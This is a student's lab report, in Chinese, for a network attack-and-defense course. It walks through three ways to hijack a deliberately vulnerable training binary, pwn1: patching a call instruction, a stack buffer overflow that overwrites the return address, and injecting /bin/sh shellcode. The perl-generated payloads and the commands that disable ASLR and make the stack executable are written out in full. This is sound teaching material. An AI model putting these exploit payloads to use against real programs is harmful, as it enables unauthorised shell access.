ybh724

导航

20251906 2025-2026-2 《网络攻防实践》第九周作业

1.实践内容

1.1 实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

1.2 前置基础知识点

  1. ELF 文件结构基础
    定义:Linux 下可执行文件标准格式(Executable and Linkable Format)
    核心段:
    .text:代码段(存储 main、foo、getShell 等函数的机器指令)
    符号表(Symbol Table):记录函数 / 变量的名称与内存地址映射(工具:nm命令查看)
    关键工具:objdump(反汇编 ELF 文件,查看指令与函数地址)、readelf(解析 ELF 结构细节)
  2. x86 架构与函数调用约定
    核心寄存器:
    eip:指令指针寄存器(存储下一条要执行的指令地址,控制执行流)
    esp:栈指针寄存器(指向栈顶)
    ebp:基址指针寄存器(固定栈帧,用于定位局部变量 / 返回地址)
    函数调用流程(cdecl 约定):
    调用者(main)压入函数参数 → 压入返回地址(main 的下一条指令地址)
    跳转至被调用者(foo) → 被调用者压入ebp(保存上一层栈帧)
    分配局部变量(栈空间增长,esp下移) → 执行函数逻辑
    函数返回时,弹出ebp → 弹出返回地址至eip → 回到调用者继续执行
  3. 栈结构与栈帧布局
    栈特性:从高地址向低地址生长(“向下生长”)
    关键:局部变量位于栈帧下方,输入过长会 “向上溢出”,覆盖ebp和返回地址
  4. 调试工具(gdb)核心操作
    函数地址查询:info functions(列出所有函数)、print getShell(获取函数地址)
    反汇编:disassemble foo(查看 foo 函数指令)、disassemble main(查看 main 调用逻辑)
    栈调试:break foo(设置断点)、run(运行程序)、x/20xw $esp(查看栈内存内容,x = 十六进制,w=4 字节)
    指令跟踪:nexti(单步执行指令)、finish(执行完当前函数)
  5. 缓冲区溢出(Bof)原理
    触发条件:函数使用无边界检查的输入函数(如gets、strcpy),输入长度超过局部缓冲区大小
    本质:溢出数据覆盖栈帧中的 “返回地址”,当函数执行ret指令时,eip会指向被篡改的地址,从而改变执行流

2.实践过程

2.1 手工修改可执行文件

在kali虚拟机中下载pwn1文件,重命名为pwn20251906
使用命令objdump -d pwn20251906 | more把文件中的汇编代码反汇编出来
image
使用命令vim pwn20251906打开文件
image
使用命令%!xxd转化为16进制
image
修改call指令,让函数直接跳转getShell函数,在第000004b0行将第4组中的d7改为c3
image
使用命令objdump -d pwn20251906 | more查看修改结果
image
使用命令./pwn20251906运行程序
![imaimage
成功拿到了shell攻击成功

2.2foo函数的Bof漏洞

重新下载一个pwn1文件,重命名为pwn20251906
使用命令apt stall gdb -y下载gdp
image
使用命令objdump -d pwn20251906 | more查看pwn20251906文件
image
缓冲区的起始地址为ebp - 0x1c,返回地址为ebp + 4,相差32字节,也就是缓冲区最多能输入32个字符
使用gdb工具调试gdb pwn20251906
image
输入r运行
image
输入1234567812345678123456781234567812345678时eip的值为0x34333231
image
输入1234567812345678123456781234567899999999时eip的值为0x39393939,9999四个数最终会覆盖到堆栈上的返回地址
image
getShell地址为0x0804847d,所以要输入12345678123456781234567812345678\x7d\x84\x04\x08
使用命令
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > 20251906_input将字符串写入文件中
image
使用命令xxd 20251906_input查看
image
使用命令(cat 20251906_input; cat) | pwn20251906将20251906_input中的内容注入
image
测试发现得到了shell证明攻击成功了

2.3 注入自己制作的shellcode

使用命令wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb下载execstack_0.0.20131005-1.1_amd64.deb
image
使用命令dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压
image
使用命令execstack -s pwn20251906设置pwn20251906文件堆栈可执行,使用命令execstack -q pwn20251906查询是否设置成功
image
使用命令sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭地址随机化
image
将perl生成的字符串存储到input_20251906文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20251906
image
使用命令(cat input_20251906;cat) | ./pwn20251906初始注入,终端stdin接管后续输入
新开一个终端使用命令ps -ef | grep pwn20251906查看进程
image
再开一个终端使用命令gdb pwn20251906对pwn20251906文件进行gdb调试,使用命令attach 19837监听进程,使用命令break *0x080484ae在ret处设置断点
image
终端1按回车,终端3使用命令c、info r esp,x/16x 0xffffcf5c继续运行。
image
栈顶指针所在的位置为0xffffcf5c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffcf5c + 4 = 0xffffcf60。
退出gbd,重新构造 input_20251906文件
perl -e 'print "A" x 32;print "\x60\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20251906
使用命令(cat input_20251906;cat) | ./pwn20251906注入代码
image
使用常见指令测试发现得到了shell

3.学习中遇到的问题及解决

  • 问题1:下载gdb时无法访问下载网址
    image
  • 问题1解决方案:使用命令apt update更新下载源即可

4.实践总结

实验通过三种方式篡改pwn1程序执行流,核心围绕 “突破默认执行逻辑、运行目标代码” 展开:手工修改二进制文件替换函数调用地址,利用缓冲区溢出覆盖返回地址,注入自定义shellcode并执行。关键依赖x86架构栈帧布局、小端序地址构造、gdb调试与反汇编工具使用,同时需关闭栈保护、NX等安全机制。实验本质是对程序内存布局与执行流控制的底层探索,既掌握了漏洞利用的核心技术,也理解了系统安全防护的基本逻辑。

posted on 2026-05-25 14:04  闫炳宏  阅读(19)  评论(0)    收藏  举报